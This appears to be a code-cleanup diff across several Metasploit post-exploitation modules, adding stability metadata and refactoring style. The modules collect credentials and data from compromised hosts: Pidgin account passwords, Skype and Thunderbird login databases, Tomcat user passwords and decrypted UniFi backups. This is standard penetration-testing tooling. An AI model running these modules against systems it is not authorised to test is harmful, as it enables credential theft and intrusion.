print_status(' Server: %s:%s' % [account['server'], account['port']])
print_status(' Protocol: %s' % account['protocol'])
print_status(' Username: %s' % account['user'])
print_status(' Password: %s' % account['password'])
print_line('')
print_status(" Server: #{account['server']}:#{account['port']}")
print_status(" Protocol: #{account['protocol']}")
print_status(" Username: #{account['user']}")
print_status(" Password: #{account['password']}")
print_line
end
return creds
@@ -313,11 +317,11 @@ class MetasploitModule < Msf::Post
buddies << contact
print_status('Collected the following contacts:')
print_status(' Buddy Name: %s' % contact['name'])
print_status(' Alias: %s' % contact['alias'])
print_status(' Protocol: %s' % contact['protocol'])
print_status(' Account: %s' % contact['account'])
print_line('')
print_status(" Buddy Name: #{contact['name']}")
print_status(" Alias: #{contact['alias']}")
print_status(" Protocol: #{contact['protocol']}")
print_status(" Account: #{contact['account']}")
print_line
end
end
+10 -6
View File
@@ -14,14 +14,17 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => %w[bsd linux osx solaris win],
'SessionTypes' => [ 'meterpreter', 'shell' ]
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptAddressRange.new('RHOSTS', [true, 'IP Range to perform ping sweep against.']),
]
)
end
@@ -56,7 +59,7 @@ class MetasploitModule < Msf::Post
ip_found = []
while (!iplst.nil? && !iplst.empty?)
while !iplst.nil? && !iplst.empty?
a = []
1.upto session.max_threads do
a << framework.threads.spawn("Module(#{refname})", false, iplst.shift) do |ip_add|
@@ -78,8 +81,9 @@ class MetasploitModule < Msf::Post
a.map(&:join)
end
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
rescue ::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
vprint_error(e.message)
rescue StandardError => e
print_status("The following error was encountered: #{e.class} #{e}")
end
ip_found.each do |ip|
+6 -1
View File
@@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
'Platform' => %w[bsd linux osx unix],
'SessionTypes' => %w[shell meterpreter]
'SessionTypes' => %w[shell meterpreter],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
@@ -23,6 +23,11 @@ class MetasploitModule < Msf::Post
stdapi_net_resolve_hosts
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
+6 -1
View File
@@ -17,7 +17,12 @@ class MetasploitModule < Msf::Post
},
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
'SessionTypes' => %w[shell]
'SessionTypes' => %w[shell],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -21,7 +21,12 @@ class MetasploitModule < Msf::Post
],
'Platform' => %w[bsd linux osx unix],
'SessionTypes' => %w[shell],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
@@ -17,34 +17,38 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
'SessionTypes' => [ 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil]),
]
)
end
# Run Method for when run command is issued
def run
print_status("Running module against #{sysinfo['Computer']}")
if !::File.exist?(datastore['RESOURCE'])
raise 'Resource File does not exist!'
else
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
next if cmd.strip.empty?
next if cmd[0, 1] == '#'
end
begin
print_status "Running command #{cmd.chomp}"
session.console.run_single(cmd.chomp)
rescue ::Exception => e
print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
end
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
print_status("Running module against #{hostname} (#{session.session_host})")
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
next if cmd.strip.empty?
next if cmd.start_with?('#')
begin
print_status "Running command #{cmd.chomp}"
session.console.run_single(cmd.chomp)
rescue StandardError => e
print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
end
end
end
+26 -17
View File
@@ -35,6 +35,11 @@ class MetasploitModule < Msf::Post
stdapi_fs_stat
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -46,10 +51,9 @@ class MetasploitModule < Msf::Post
)
end
# Run Method for when run command is issued
def run
# syinfo is only on meterpreter sessions
print_status("Running Skype enumeration against #{sysinfo['Computer']}") if !sysinfo.nil?
print_status("Running Skype enumeration against #{sysinfo['Computer']}") unless sysinfo.nil?
# Ensure that SQLite3 gem is installed
begin
@@ -71,12 +75,12 @@ class MetasploitModule < Msf::Post
next unless check_skype("#{p['dir']}/Library/Application Support/", p['name'])
db_in_loot = download_db(p)
# Exit if file was not successfully downloaded
return if db_in_loot.nil?
next if db_in_loot.nil?
process_db(db_in_loot, p['name'])
end
elsif (((session.platform = - 'windows')) && (session.type == 'meterpreter'))
elsif ((session.platform = - 'windows')) && (session.type == 'meterpreter')
# Iterate thru each user profile in a Windows System using Meterpreter Post API
grab_user_profiles.each do |p|
if check_skype(p['AppData'], p['UserName'])
@@ -121,11 +125,13 @@ class MetasploitModule < Msf::Post
file = cmd_exec('mdfind', "-onlyin #{profile['dir']} -name main.db").split("\n").collect { |p| p =~ %r{Skype/\w*/main.db$} ? p : nil }.compact
end
file_loc = store_loot('skype.config',
'binary/db',
session,
'main.db',
"Skype Configuration database for #{profile['UserName']}")
file_loc = store_loot(
'skype.config',
'binary/db',
session,
'main.db',
"Skype Configuration database for #{profile['UserName']}"
)
file.each do |db|
if session.type == 'meterpreter'
@@ -138,7 +144,8 @@ class MetasploitModule < Msf::Post
maindb = cmd_exec('cat', "\"#{db}\"", datastore['TIMEOUT'])
if maindb.nil?
print_error('Could not download the file. Set the TIMEOUT option to a higher number.')
return
file_loc = nil
break
end
# Saving the content as binary so it can be used
output = ::File.open(file_loc, 'wb')
@@ -185,12 +192,14 @@ class MetasploitModule < Msf::Post
# Check if an account exists and if it does enumerate if not exit.
if user_rows.length > 1
user_info = store_loot('skype.accounts',
'text/plain',
session,
'',
'skype_accounts.csv',
"Skype User #{user} Account information from configuration database.")
user_info = store_loot(
'skype.accounts',
'text/plain',
session,
'',
'skype_accounts.csv',
"Skype User #{user} Account information from configuration database."
)
print_good("Saving account information to #{user_info}")
save_csv(user_rows, user_info)
else
+5
View File
@@ -30,6 +30,11 @@ class MetasploitModule < Msf::Post
stdapi_fs_separator
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
+29 -21
View File
@@ -38,6 +38,11 @@ class MetasploitModule < Msf::Post
stdapi_sys_config_getenv
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -89,20 +94,22 @@ class MetasploitModule < Msf::Post
# The routine will attempt to parse the sqlite db if the PARSE option is true,
# and that SQLite3 is installed on the user's box.
#
def download_loot(p)
def download_loot(path)
# These are the files we wanna grab for the directory for future decryption
files = ['signons.sqlite', 'key3.db', 'cert8.db']
files.each do |item|
loot = ''
# Downaload the file
# Download the file
# # @todo replace this with `Msf::Post::File.read_file`
if session.type == 'meterpreter'
vprint_status("Downloading: #{p + item}")
vprint_status("Downloading: #{path + item}")
begin
f = session.fs.file.new(p + item, 'rb')
f = session.fs.file.new(path + item, 'rb')
loot << f.read until f.eof?
rescue ::Exception => e
rescue StandardError => e
vprint_error(e.message)
ensure
f.close
end
@@ -110,7 +117,7 @@ class MetasploitModule < Msf::Post
cmd_show = (session.platform == 'windows') ? 'type' : 'cat'
# The type command will add a 0x0a character in the file? Pff.
# Gotta lstrip that.
loot = cmd_exec(cmd_show, "\"#{p + item}\"").lstrip
loot = cmd_exec(cmd_show, "\"#{path + item}\"").lstrip
next if loot =~ /system cannot find the file specified|No such file/
end
@@ -118,7 +125,7 @@ class MetasploitModule < Msf::Post
ext = ::File.extname(item)
ext = ext[1, ext.length]
path = store_loot(
loot_path = store_loot(
"tb.#{item}",
"binary/#{ext}",
session,
@@ -127,26 +134,27 @@ class MetasploitModule < Msf::Post
"Thunderbird Raw File #{item}"
)
print_status("#{item} saved in #{path}")
print_status("#{item} saved in #{loot_path}")
# Parse signons.sqlite
next unless item =~ (/signons\.sqlite/) && datastore['PARSE']
print_status('Parsing signons.sqlite...')
data_tbl = parse(path)
data_tbl = parse(loot_path)
if data_tbl.nil? || data_tbl.rows.empty?
print_status('No data parsed')
else
path = store_loot(
"tb.parsed.#{item}",
'text/plain',
session,
data_tbl.to_csv,
"thunderbird_parsed_#{item}",
"Thunderbird Parsed File #{item}"
)
print_status("Parsed signons.sqlite saved in: #{path}")
next
end
loot_path = store_loot(
"tb.parsed.#{item}",
'text/plain',
session,
data_tbl.to_csv,
"thunderbird_parsed_#{item}",
"Thunderbird Parsed File #{item}"
)
print_status("Parsed signons.sqlite saved in: #{loot_path}")
end
end
@@ -167,8 +175,8 @@ class MetasploitModule < Msf::Post
# Load the database
db = SQLite3::Database.new(file)
begin
columns, *rows = db.execute('select * from moz_logins')
rescue ::Exception => e
_, *rows = db.execute('select * from moz_logins')
rescue StandardError => e
print_error("doh! #{e}")
return nil
ensure
+70 -64
View File
@@ -20,18 +20,23 @@ class MetasploitModule < Msf::Post
'Koen Riepe <koen.riepe@fox-it.com>', # Module author
],
'Platform' => [ 'win', 'linux' ],
'SessionTypes' => [ 'meterpreter' ]
'SessionTypes' => [ 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
$username = []
$password = []
$port = []
$paths = []
@username = []
@password = []
@port = []
@paths = []
def report_creds(user, pass, port)
return if (user.empty? || pass.empty?)
return if user.blank? || pass.blank?
# Assemble data about the credential objects we will be creating
credential_data = {
@@ -46,7 +51,7 @@ class MetasploitModule < Msf::Post
credential_core = create_credential(credential_data)
if !port.is_a? Integer
if !port.is_a?(Integer)
port = 8080
print_status("Port not an Integer, defaulting to port #{port} for creds database")
end
@@ -63,67 +68,68 @@ class MetasploitModule < Msf::Post
create_credential_login(login_data)
end
def gatherwin
def gather_win
print_status('Windows OS detected, enumerating services')
tomcatHomeArray = []
tomcat_home_array = []
service_list.each do |service|
if service[:name].downcase.include? 'tomcat'
print_good('Tomcat service found')
tomcatHomeArray.push(service_info(service[:name])[:path].split('\\bin\\')[0])
tomcat_home_array.push(service_info(service[:name])[:path].split('\\bin\\')[0])
end
end
if !tomcatHomeArray.empty?
tomcatHomeArray.each do |tomcat_home|
if tomcat_home.include? '"'
tomcat_home = tomcat_home.split('"')[1]
end
if tomcat_home_array.empty?
print_status('No Tomcat home can be determined')
return
end
conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml"
tomcat_home_array.each do |tomcat_home|
if tomcat_home.include? '"'
tomcat_home = tomcat_home.split('"')[1]
end
if exist?(conf_path)
print_status("#{conf_path} found!")
xml = read_file(conf_path).split("\n")
conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml"
comment_block = false
xml.each do |line|
if line.include?('<user username=') && !comment_block
$username.push(line.split('<user username="')[1].split('"')[0])
$password.push(line.split('password="')[1].split('"')[0])
$paths.push(conf_path)
elsif line.include?('<!--')
comment_block = true
elsif line.include?(('-->')) && comment_block
comment_block = false
end
end
end
if exist?(conf_path)
print_status("#{conf_path} found!")
xml = read_file(conf_path).split("\n")
port_path = "#{tomcat_home}\\conf\\server.xml"
if exist?(port_path)
xml = read_file(port_path).split("\n")
end
comment_block = false
xml.each do |line|
if line.include?('<Connector') && !comment_block
i = 0
while i < $username.count
$port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
i += 1
end
if line.include?('<user username=') && !comment_block
@username.push(line.split('<user username="')[1].split('"')[0])
@password.push(line.split('password="')[1].split('"')[0])
@paths.push(conf_path)
elsif line.include?('<!--')
comment_block = true
elsif line.include?(('-->')) && comment_block
elsif line.include?('-->') && comment_block
comment_block = false
end
end
end
else
print_status('No Tomcat home can be determined')
port_path = "#{tomcat_home}\\conf\\server.xml"
if exist?(port_path)
xml = read_file(port_path).split("\n")
end
comment_block = false
xml.each do |line|
if line.include?('<Connector') && !comment_block
i = 0
while i < @username.count
@port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
i += 1
end
elsif line.include?('<!--')
comment_block = true
elsif line.include?('-->') && comment_block
comment_block = false
end
end
end
end
def gathernix
def gather_nix
print_status('Unix OS detected')
user_files = cmd_exec('locate tomcat-users.xml').split("\n")
if !user_files.empty?
@@ -136,12 +142,12 @@ class MetasploitModule < Msf::Post
comment_block = false
xml.each do |line|
if line.include?('<user username=') && !comment_block
$username.push(line.split('<user username="')[1].split('"')[0])
$password.push(line.split('password="')[1].split('"')[0])
$paths.push(path)
@username.push(line.split('<user username="')[1].split('"')[0])
@password.push(line.split('password="')[1].split('"')[0])
@paths.push(path)
elsif line.include?('<!--')
comment_block = true
elsif line.include?(('-->')) && comment_block
elsif line.include?('-->') && comment_block
comment_block = false
end
end
@@ -165,13 +171,13 @@ class MetasploitModule < Msf::Post
xml.each do |line|
if line.include?('<Connector') && !comment_block
i = 0
while i < $username.count
$port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
while i < @username.count
@port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
i += 1
end
elsif line.include?('<!--')
comment_block = true
elsif line.include?(('-->')) && comment_block
elsif line.include?('-->') && comment_block
comment_block = false
end
end
@@ -186,29 +192,29 @@ class MetasploitModule < Msf::Post
def run
if sysinfo
if sysinfo['OS'].include? 'Windows'
gatherwin
if sysinfo['OS'].include?('Windows')
gather_win
else
gathernix
gather_nix
end
else
print_error('Incompatible session type, sysinfo is not available.')
end
if $username.empty?
if @username.empty?
print_status('No user credentials have been found')
end
i = 0
while i < $username.count
print_good("Username and password found in #{$paths[i]} - #{$username[i]}:#{$password[i]}")
report_creds($username[i], $password[i], $port[i])
while i < @username.count
print_good("Username and password found in #{@paths[i]} - #{@username[i]}:#{@password[i]}")
report_creds(@username[i], @password[i], @port[i])
i += 1
end
$username = []
$password = []
$port = []
$paths = []
@username = []
@password = []
@port = []
@paths = []
end
end
@@ -37,7 +37,12 @@ class MetasploitModule < Msf::Post
['URL', 'https://github.com/justingist/POSH-Ubiquiti/blob/master/Posh-UBNT.psm1'],
['URL', 'https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation'],
['URL', 'https://community.ubnt.com/t5/UniFi-Wireless/unf-controller-backup-file-format/td-p/1624105']
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -47,61 +52,70 @@ class MetasploitModule < Msf::Post
])
end
def find_save_files(d)
def find_save_files(directory)
case session.platform
when 'windows'
files = session.fs.dir.foreach(d)
files = session.fs.dir.foreach(directory)
else
# when 'linux', 'osx', 'unifi'
# osx will have a space in it by default, so we wrap the directory in quotes
files = cmd_exec("ls '#{d}'").split(/\r\n|\r|\n/)
files = cmd_exec("ls '#{directory}'").split(/\r\n|\r|\n/)
end
files.each do |file|
full = "#{d}/#{file}"
full = "#{directory}/#{file}"
if directory?(full) && !['.', '..'].include?(file)
find_save_files(full)
next
end
unless file.end_with? '.unf'
next
end
next unless file.end_with?('.unf')
f = read_file(full)
if f.nil?
print_error("#{full} read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!")
next
end
loot_path = store_loot('ubiquiti.unifi.backup', 'application/zip', session,
f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip')
loot_path = store_loot(
'ubiquiti.unifi.backup', 'application/zip', session,
f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip'
)
print_good("File #{full} saved to #{loot_path}")
decrypted_data = decrypt_unf(f)
if decrypted_data.nil? || decrypted_data.empty?
print_error("Unable to decrypt #{loot_path}")
next
end
loot_path = store_loot('ubiquiti.unifi.backup_decrypted', 'application/zip', session,
decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip')
loot_path = store_loot(
'ubiquiti.unifi.backup_decrypted', 'application/zip', session,
decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip'
)
print_good("File #{file} DECRYPTED and saved to #{loot_path}. File needs to be repair via `zip -FF`")
# ruby zip can't repair, we can try on command line but its not likely to succeed on all platforms
# tested on kali
repaired = repair_zip(loot_path)
if repaired.nil?
fail_with Failure::Unknown, "Repair failed on #{loot_path.path}"
fail_with(Failure::Unknown, "Repair failed on #{loot_path.path}")
end
loot_path = store_loot('ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,
repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip')
loot_path = store_loot(
'ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,
repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip'
)
print_good("File #{full} DECRYPTED and REPAIRED and saved to #{loot_path}.")
config_db = extract_and_process_db(loot_path)
if config_db.nil?
fail_with Failure::Unknown, 'Unable to locate db.gz config database file'
fail_with(Failure::Unknown, 'Unable to locate db.gz config database file')
end
print_status('Converting BSON to JSON.')
unifi_config_db_json = bson_to_json(config_db)
if unifi_config_db_json == {}
fail_with Failure::Unknown, 'Error in file conversion from BSON to JSON.'
fail_with(Failure::Unknown, 'Error in file conversion from BSON to JSON.')
end
unifi_config_eater(session.session_host, session.session_port, unifi_config_db_json)
end
end
@@ -140,7 +154,7 @@ class MetasploitModule < Msf::Post
# read system.properties
if datastore['SYSTEMFILE']
sprop = datastore['SYSTEMFILE']
datastore['SYSTEMFILE']
vprint_status("Utilizing custom system.properties file location: #{datastore['SYSTEMFILE']}")
end
@@ -154,7 +168,7 @@ class MetasploitModule < Msf::Post
loot_path = store_loot('ubiquiti.system.properties', 'text/plain', session, data, sprop)
vprint_status("File #{sprop} saved to #{loot_path}")
print_good("Read UniFi Controller file #{sprop}")
rescue Rex::Post::Meterpreter::RequestError => e
rescue Rex::Post::Meterpreter::RequestError
print_error("Failed to read #{sprop}")
data = ''
end
+12 -3
View File
@@ -25,6 +25,11 @@ class MetasploitModule < Msf::Post
android_*
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -94,10 +99,13 @@ class MetasploitModule < Msf::Post
if wlan_list.blank?
print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.')
return
elsif datastore['APIKEY'].empty?
end
if datastore['APIKEY'].empty?
print_error('Google API key is required.')
return
end
g = Rex::Google::Geolocation.new
g.set_api_key(datastore['APIKEY'])
wlan_list.each do |wlan|
@@ -218,8 +226,9 @@ class MetasploitModule < Msf::Post
print_error("The target's platform, #{session.platform}, is not supported at this time.")
return nil
end
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
rescue ::Exception => e
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError => e
vprint_error(e.message)
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end